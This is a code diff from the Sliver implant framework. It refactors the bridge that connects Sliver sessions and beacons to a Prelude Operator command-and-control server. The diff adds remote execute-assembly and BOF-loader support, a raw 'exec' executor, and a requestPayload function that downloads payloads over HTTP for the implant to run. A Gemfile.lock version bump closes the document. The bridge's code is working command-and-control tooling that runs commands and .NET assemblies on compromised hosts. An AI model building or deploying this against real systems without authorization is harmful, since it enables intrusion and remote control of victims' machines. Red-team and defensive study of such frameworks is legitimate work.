-	})
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	a.Beacon.Sleep = conf.Sleep
-	a.Beacon.Range = conf.Range
-	a.Beacon.Pwd = pwd
-	a.Beacon.Target = conf.Address
-	a.Beacon.Executing = conf.BuildExecutingHash()
-
-}
-
-func MakeRequest(session *clientpb.Session) *commonpb.Request {
-	if session == nil {
-		return nil
-	}
-	timeout := int64(defaultTimeout)
-	return &commonpb.Request{
-		SessionID: session.ID,
-		Timeout:   timeout,
-	}
-}

client/prelude/bof.go

@@ -1,5 +1,23 @@
 package prelude
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"bytes"
 	"context"
@@ -9,7 +27,6 @@ import (
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -25,9 +42,9 @@ type bofArgs struct {
 	Value   interface{} `json:"value"`
 }
 
-func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
-	if !isLoaderLoaded(session, rpc) {
-		err = registerLoader(session, rpc)
+func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	if !isLoaderLoaded(implant, rpc) {
+		err = registerLoader(implant, rpc)
 		if err != nil {
 			return
 		}
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	}
 	for _, a := range args {
 		switch a.ArgType {
+		case "integer":
+			fallthrough
 		case "int":
 			if v, ok := a.Value.(float64); ok {
 				err = bofArgs.AddInt(uint32(v))
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 		ServerStore: false,
 		Args:        extArgsBuffer,
 		Export:      loaderEntryPoint,
-		Request:     MakeRequest(session),
+		Request:     MakeRequest(implant),
 	})
 
 	if err != nil {
 		return
 	}
 
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
 	if extResp.Response != nil && extResp.Response.Err != "" {
 		err = errors.New(extResp.Response.Err)
 	}
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	return
 }
 
-func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
+func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
 	var coffLoaderPath string
 
-	switch session.Arch {
+	switch implant.GetArch() {
 	case "amd64":
 		coffLoaderPath = "COFFLoader.x64.dll"
 	case "386":
 		coffLoaderPath = "COFFLoader.x86.dll"
 	}
-	loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
+	loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
 	loaderData, err := ioutil.ReadFile(loaderPath)
 	if err != nil {
 		return err
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    coffLoaderName,
 		Data:    loaderData,
-		OS:      session.OS,
+		OS:      implant.GetOS(),
 		Init:    "",
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return err
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	return nil
 }
 
-func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
+func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
 	extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return false

client/prelude/bridge.go

@@ -0,0 +1,206 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+const (
+	defaultTimeout = 60
+	delim          = "\r\n"
+)
+
+// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
+// to a Prelude Operator implant with a TCP transport.
+type OperatorImplantBridge struct {
+	Conn           *net.Conn
+	Implant        ActiveImplant
+	RPC            rpcpb.SliverRPCClient
+	PBeacon        OperatorBeacon
+	BeaconCallback func(string, func(*clientpb.BeaconTask))
+	Config         AgentConfig
+
+	recv chan []byte
+	send chan []byte
+}
+
+func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
+	return &OperatorImplantBridge{
+		Conn:           c,
+		Implant:        a,
+		RPC:            rpc,
+		Config:         conf,
+		BeaconCallback: callback,
+		PBeacon:        pbeacon,
+		recv:           make(chan []byte),
+		send:           make(chan []byte),
+	}
+}
+
+func (a *OperatorImplantBridge) register() {
+	data, err := json.Marshal(a.PBeacon)
+	if err != nil {
+		return
+	}
+	encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
+	dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+	(*a.Conn).Write(dataBuff)
+}
+
+func (a *OperatorImplantBridge) ReceiveLoop() {
+	a.register()
+	go func() {
+		for {
+			data := <-a.send
+			encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
+			dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+			(*a.Conn).Write(dataBuff)
+			time.Sleep(time.Duration(a.PBeacon.Sleep))
+		}
+	}()
+	for {
+		scanner := bufio.NewScanner(*a.Conn)
+		for scanner.Scan() {
+			msg := strings.TrimSpace(scanner.Text())
+			a.handleMessage(msg)
+		}
+	}
+}
+
+func (a *OperatorImplantBridge) handleMessage(message string) {
+	var tempBeacon OperatorBeacon
+	decoded, err := hex.DecodeString(message)
+	if err != nil {
+		return
+	}
+	if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
+		a.PBeacon.Links = a.PBeacon.Links[:0]
+		a.runLinks(&tempBeacon)
+	}
+}
+
+func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
+	for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
+		time.Sleep(time.Second * 1)
+		var payload []byte
+		if link.Payload != "" {
+			payload, _ = requestPayload(link.Payload)
+		}
+
+		// If we're running on a Beacon
+		if implantBridge.BeaconCallback != nil {
+			RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
+				link.Response = response
+				link.Status = status
+				link.Pid = pid
+				implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+				implantBridge.Config.EndInstruction(link)
+				implantBridge.refreshBeacon()
+				data, err := json.Marshal(implantBridge.PBeacon)
+				if err != nil {
+					return
+				}
+				implantBridge.send <- data
+			})
+			return
+		}
+		// Running on a Session
+		response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
+		link.Response = response
+		link.Status = status
+		link.Pid = pid
+		implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+		implantBridge.Config.EndInstruction(link)
+		implantBridge.refreshBeacon()
+		data, err := json.Marshal(implantBridge.PBeacon)
+		if err != nil {
+			return
+		}
+		implantBridge.send <- data
+
+	}
+}
+
+func requestPayload(target string) ([]byte, error) {
+	resp, err := http.Get(target)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
+	}
+	return ioutil.ReadAll(resp.Body)
+}
+
+func (a *OperatorImplantBridge) refreshBeacon() {
+	var pwd string
+	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: MakeRequest(a.Implant),
+	})
+	if pwdResp != nil {
+		pwd = pwdResp.Path
+	}
+	a.PBeacon.Sleep = a.Config.Sleep
+	a.PBeacon.Range = a.Config.Range
+	a.PBeacon.Pwd = pwd
+	a.PBeacon.Target = a.Config.Address
+	a.PBeacon.Executing = a.Config.BuildExecutingHash()
+
+}
+
+func MakeRequest(a ActiveImplant) *commonpb.Request {
+	timeout := int64(defaultTimeout)
+	req := &commonpb.Request{
+		Timeout: timeout,
+	}
+	if a == nil {
+		return nil
+	}
+
+	beacon, ok := a.(*clientpb.Beacon)
+	if ok {
+		req.BeaconID = beacon.ID
+		req.Async = true
+		return req
+	}
+	session, ok := a.(*clientpb.Session)
+	if ok {
+		req.SessionID = session.ID
+		req.Async = false
+		return req
+	}
+
+	return nil
+}

client/prelude/commands.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
 	"fmt"
 	"strings"
 
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 )
 
 //RunCommand executes a given command
-func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
+func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
 	switch executor {
 	case "keyword":
 		task := splitMessage(message, '.')
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			if payload == nil {
 				return "missing BOF file", ErrorExitStatus, ErrorExitStatus
 			}
-			out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
+			out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
+			if err != nil {
+				return err.Error(), ErrorExitStatus, ErrorExitStatus
+			}
+			return out, 0, 0
+		case "execute-assembly":
+			if len(task) < 2 {
+				break
+			}
+			var eaargs execasmArgs
+			argStr := strings.ReplaceAll(task[1], `\`, `\\`)
+			err := json.Unmarshal([]byte(argStr), &eaargs)
+			if err != nil {
+				return err.Error(), ErrorExitStatus, ErrorExitStatus
+			}
+			if payload == nil {
+				return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
+			}
+			out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
 		}
 	default:
-		bites, status, pid := execute(message, executor, agentSession)
+		bites, status, pid := execute(message, executor, agentSession, onFinish)
 		return string(bites), status, pid
 	}
 	return "", ErrorExitStatus, ErrorExitStatus
 }
 
-func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
+func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
 	args := append(getCmdArg(executor), cmd)
 	if executor == "psh" {
 		executor = "powershell.exe"
+	} else if executor == "exec" {
+		commandSections := strings.Fields(cmd)
+		executor = commandSections[0]
+		args = commandSections[1:]
 	}
-	execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
+	execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
 		Path:    executor,
 		Args:    args,
 		Output:  true,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(implantBridge.Implant),
 	})
 
 	if err != nil {
-		return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
+		return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
 	}
 
+	// Beacon
+	if execResp.Response != nil && execResp.Response.Async {
+		implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execResp)
+			if err != nil {
+				return
+			}
+			onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
+		})
+		return "", 0, 0
+	}
+
+	// Session
 	if execResp.Response != nil && execResp.Response.Err != "" {
-		return execResp.Response.Err, 0, 0
+		return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
 	}
 	return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
 }
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
 	var args []string
 	switch executor {
 	case "cmd":
-		args = []string{"/C", "/S"}
+		args = []string{"/S", "/C"}
 	case "powershell", "psh":
-		args = []string{"-execu", "ByPasS", "-C"}
+		args = []string{"-execu", "-C"}
+	case "exec":
+		args = []string{}
 	case "sh", "bash", "zsh":
 		args = []string{"-c"}
 	}
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
 	return values
 }
 
-func shutdown(agentSession *AgentSession) (string, int, int) {
+func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
 	_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
 		Force:   false,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(agentSession.Implant),
 	})
 	if err != nil {
 		return err.Error(), ErrorExitStatus, ErrorExitStatus
 	}
-	return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
+	return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
 }

client/prelude/config.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
 
 type Configuration interface {
 	ApplyConfig(ac map[string]interface{})
-	BuildBeacon() Beacon
+	BuildBeacon() OperatorBeacon
 }
 
 type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
 	Executing      map[string]Instruction
 }
 
-type Beacon struct {
+type OperatorBeacon struct {
 	Name      string
 	Target    string
 	Hostname  string

client/prelude/execute-assembly.go

@@ -0,0 +1,68 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+type execasmArgs struct {
+	IsDLL        bool   `json:"isDLL"`
+	Process      string `json:"process"`
+	Arguments    string `json:"arguments"`
+	Architecture string `json:"architecture"`
+	Method       string `json:"method"`
+	Class        string `json:"class"`
+	AppDomain    string `json:"appDomain"`
+}
+
+func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+		Request:   MakeRequest(implant),
+		IsDLL:     args.IsDLL,
+		Process:   args.Process,
+		Arguments: args.Arguments,
+		Assembly:  asm,
+		Arch:      args.Architecture,
+		Method:    args.Method,
+		ClassName: args.Class,
+		AppDomain: args.AppDomain,
+	})
+
+	if err != nil {
+		return
+	}
+
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
+	if extResp.Response != nil && extResp.Response.Err != "" {
+		err = errors.New(extResp.Response.Err)
+	}
+	output = string(extResp.Output)
+
+	return
+}

client/prelude/prelude.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
 import (
 	"context"
 	"errors"
-	"fmt"
 	"net"
 	"sync"
 
@@ -31,7 +30,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
-var SessionMapper *PreludeSessionMapper
+var ImplantMapper *OperatorImplantMapper
 
 const defaultImplantSleep = 5
 
@@ -42,30 +41,45 @@ type OperatorConfig struct {
 	AESKey      string
 }
 
-type PreludeSessionMapper struct {
-	sessions []*AgentSession
-	conf     *OperatorConfig
+// OperatorImplantMapper maps an OperatorConfig with
+// active Sliver implant sessions/beacons
+type OperatorImplantMapper struct {
+	implantBridges []*OperatorImplantBridge
+	conf           *OperatorConfig
 	sync.Mutex
 }
 
-func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
-	if SessionMapper == nil {
-		SessionMapper = &PreludeSessionMapper{
-			sessions: make([]*AgentSession, 0),
-			conf:     conf,
-		}
-	}
-	return SessionMapper
+// ActiveImplant exposes common methods between
+// Sliver clientpb.Session and clientpb.Beacon
+// that are required by Operator implants
+type ActiveImplant interface {
+	GetID() string
+	GetHostname() string
+	GetPID() int32
+	GetOS() string
+	GetArch() string
+	GetFilename() string
+	GetReconnectInterval() int64
 }
 
-func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
+func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
+	if ImplantMapper == nil {
+		ImplantMapper = &OperatorImplantMapper{
+			implantBridges: make([]*OperatorImplantBridge, 0),
+			conf:           conf,
+		}
+	}
+	return ImplantMapper
+}
+
+func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
 	var pwd string
 	conn, err := net.Dial("tcp", p.conf.OperatorURL)
 	if err != nil {
 		return err
 	}
 	pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(s),
+		Request: MakeRequest(a),
 	})
 	if err != nil {
 		return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 	if pwdResp != nil {
 		pwd = pwdResp.Path
 	}
-	// Operator implants have embedded static IDs, but we don't,
-	// so to avoid having multiple sessions showing as one on the Operator
-	// GUI, we need to have a unique name for them.
-	// Plus, having the ID in the name will help the user to make the
-	// correlation.
-	sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
-	beacon := Beacon{
-		Name:      sessName,
+
+	// Use a default sleep time for sessions,
+	// but respect the one we have for beacons
+	sleepTime := defaultImplantSleep
+	if b, ok := a.(*clientpb.Beacon); ok {
+		sleepTime = int(b.ReconnectInterval)
+	}
+
+	beacon := OperatorBeacon{
+		Name:      a.GetID(),
 		Target:    p.conf.OperatorURL,
-		Hostname:  s.Hostname,
-		Location:  s.Filename,
-		Platform:  s.OS,
+		Hostname:  a.GetHostname(),
+		Location:  a.GetFilename(),
+		Platform:  a.GetOS(),
 		Range:     p.conf.Range,
-		Executors: util.DetermineExecutors(s.OS, s.Arch),
+		Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
 		Links:     make([]Instruction, 0),
 		Executing: "",
 		Pwd:       pwd,
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
 
 	if p.conf.AESKey == "" {
 		return errors.New("missing AES key")
 	}
+	a.GetID()
 	encryptionKey := p.conf.AESKey
 	agentConfig := AgentConfig{
-		Name:      sessName,
+		Name:      a.GetID(),
 		AESKey:    encryptionKey,
 		Range:     p.conf.Range,
 		Contact:   "tcp",
 		Address:   p.conf.OperatorURL,
-		Pid:       int(s.PID),
+		Pid:       int(a.GetPID()),
 		Executing: make(map[string]Instruction),
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
-	util.EncryptionKey = &agentConfig.AESKey
-	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
+	bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
 	p.Lock()
-	p.sessions = append(p.sessions, agentSession)
+	p.implantBridges = append(p.implantBridges, bridge)
 	p.Unlock()
-	go agentSession.ReceiveLoop()
+	go bridge.ReceiveLoop()
 	return nil
 }
 
-func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
+func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
 	p.Lock()
-	for _, agentSession := range p.sessions {
-		if agentSession.Session.ID == s.ID {
-			if agentSession.Conn != nil {
-				err = (*agentSession.Conn).Close()
+	for _, bridge := range p.implantBridges {
+		if bridge.Implant.GetID() == imp.GetID() {
+			if bridge.Conn != nil {
+				err = (*bridge.Conn).Close()
 			} else {
 				err = errors.New("connection is nil")
 			}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
 	return err
 }
 
-func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
+func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
 	return p.conf
 }

client/prelude/util/executors.go

@@ -21,25 +21,23 @@ package util
 func DetermineExecutors(platform string, arch string) []string {
 	platformExecutors := map[string]map[string][]string{
 		"windows": {
-			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe"},
-			"executor": {"pwsh", "psh", "cmd", "bof"},
+			"file":     {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
+			"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
 		},
 		"linux": {
-			"file":     {"python3", "pwsh", "sh", "bash"},
-			"executor": {"python", "pwsh", "sh", "bash"},
+			"file":     {"python3", "sh", "bash"},
+			"executor": {"python", "sh", "bash"},
 		},
 		"darwin": {
-			"file":     {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
-			"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
+			"file":     {"python3", "zsh", "sh", "osascript", "bash"},
+			"executor": {"python", "zsh", "sh", "osa", "bash"},
 		},
 	}
 	var executors []string
 	for platformKey, platformValue := range platformExecutors {
 		if platform == platformKey {
 			for i := range platformValue["file"] {
-				// if checkIfExecutorAvailable(platformValue["file"][i]) {
 				executors = append(executors, platformExecutors[platformKey]["executor"][i])
-				// }
 			}
 		}
 	}

docs/Gemfile.lock

@@ -1,7 +1,7 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.4)
+    activesupport (6.0.4.6)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.17.13)
-      ruby-enum (~> 0.5)
+    commonmarker (0.23.4)
     concurrent-ruby (1.1.9)
-    dnsruby (1.61.7)
+    dnsruby (1.61.9)
       simpleidn (~> 0.1)
-    em-websocket (0.5.2)
+    em-websocket (0.5.3)
       eventmachine (>= 0.12.9)
-      http_parser.rb (~> 0.6.0)
-    ethon (0.14.0)
+      http_parser.rb (~> 0)
+    ethon (0.15.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (1.5.0)
+    faraday (1.10.0)
       faraday-em_http (~> 1.0)
       faraday-em_synchrony (~> 1.0)
       faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0.1)
+      faraday-httpclient (~> 1.0)
+      faraday-multipart (~> 1.0)
       faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.1)
+      faraday-net_http_persistent (~> 1.0)
       faraday-patron (~> 1.0)
-      multipart-post (>= 1.2, < 3)
+      faraday-rack (~> 1.0)
+      faraday-retry (~> 1.0)
       ruby2_keywords (>= 0.0.4)
     faraday-em_http (1.0.0)
     faraday-em_synchrony (1.0.0)
     faraday-excon (1.1.0)
     faraday-httpclient (1.0.1)
+    faraday-multipart (1.0.3)
+      multipart-post (>= 1.2, < 3)
     faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.1.0)
+    faraday-net_http_persistent (1.2.0)
     faraday-patron (1.0.0)
-    ffi (1.15.3)
+    faraday-rack (1.0.0)
+    faraday-retry (1.0.3)
+    ffi (1.15.5)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (215)
-      github-pages-health-check (= 1.17.2)
+    github-pages (225)
+      github-pages-health-check (= 1.17.9)
       jekyll (= 3.9.0)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.1.6)
+      jekyll-commonmark-ghpages (= 0.2.0)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
       jekyll-github-metadata (= 2.13.0)
+      jekyll-include-cache (= 0.2.1)
       jekyll-mentions (= 1.6.0)
       jekyll-optional-front-matter (= 0.3.2)
       jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
       jekyll-relative-links (= 0.6.1)
       jekyll-remote-theme (= 0.4.3)
       jekyll-sass-converter (= 1.5.2)
-      jekyll-seo-tag (= 2.7.1)
+      jekyll-seo-tag (= 2.8.0)
       jekyll-sitemap (= 1.4.0)
       jekyll-swiss (= 1.0.0)
-      jekyll-theme-architect (= 0.1.1)
-      jekyll-theme-cayman (= 0.1.1)
-      jekyll-theme-dinky (= 0.1.1)
-      jekyll-theme-hacker (= 0.1.2)
-      jekyll-theme-leap-day (= 0.1.1)
-      jekyll-theme-merlot (= 0.1.1)
-      jekyll-theme-midnight (= 0.1.1)
-      jekyll-theme-minimal (= 0.1.1)
-      jekyll-theme-modernist (= 0.1.1)
-      jekyll-theme-primer (= 0.5.4)
-      jekyll-theme-slate (= 0.1.1)
-      jekyll-theme-tactile (= 0.1.1)
-      jekyll-theme-time-machine (= 0.1.1)
+      jekyll-theme-architect (= 0.2.0)
+      jekyll-theme-cayman (= 0.2.0)
+      jekyll-theme-dinky (= 0.2.0)
+      jekyll-theme-hacker (= 0.2.0)
+      jekyll-theme-leap-day (= 0.2.0)
+      jekyll-theme-merlot (= 0.2.0)
+      jekyll-theme-midnight (= 0.2.0)
+      jekyll-theme-minimal (= 0.2.0)
+      jekyll-theme-modernist (= 0.2.0)
+      jekyll-theme-primer (= 0.6.0)
+      jekyll-theme-slate (= 0.2.0)
+      jekyll-theme-tactile (= 0.2.0)
+      jekyll-theme-time-machine (= 0.2.0)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
       kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
       liquid (= 4.0.3)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.10.4, < 2.0)
+      nokogiri (>= 1.12.5, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
-    github-pages-health-check (1.17.2)
+    github-pages-health-check (1.17.9)
       addressable (~> 2.3)
       dnsruby (~> 1.60)
       octokit (~> 4.0)
-      public_suffix (>= 2.0.2, < 5.0)
+      public_suffix (>= 3.0, < 5.0)
       typhoeus (~> 1.3)
     html-pipeline (2.14.0)
       activesupport (>= 2)
       nokogiri (>= 1.4)
-    http_parser.rb (0.6.0)
+    http_parser.rb (0.8.0)
     i18n (0.9.5)
       concurrent-ruby (~> 1.0)
     jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
     jekyll-coffeescript (1.1.1)
       coffee-script (~> 2.2)
       coffee-script-source (~> 1.11.1)
-    jekyll-commonmark (1.3.1)
-      commonmarker (~> 0.14)
-      jekyll (>= 3.7, < 5.0)
-    jekyll-commonmark-ghpages (0.1.6)
-      commonmarker (~> 0.17.6)
-      jekyll-commonmark (~> 1.2)
+    jekyll-commonmark (1.4.0)
+      commonmarker (~> 0.22)
+    jekyll-commonmark-ghpages (0.2.0)
+      commonmarker (~> 0.23.4)
+      jekyll (~> 3.9.0)
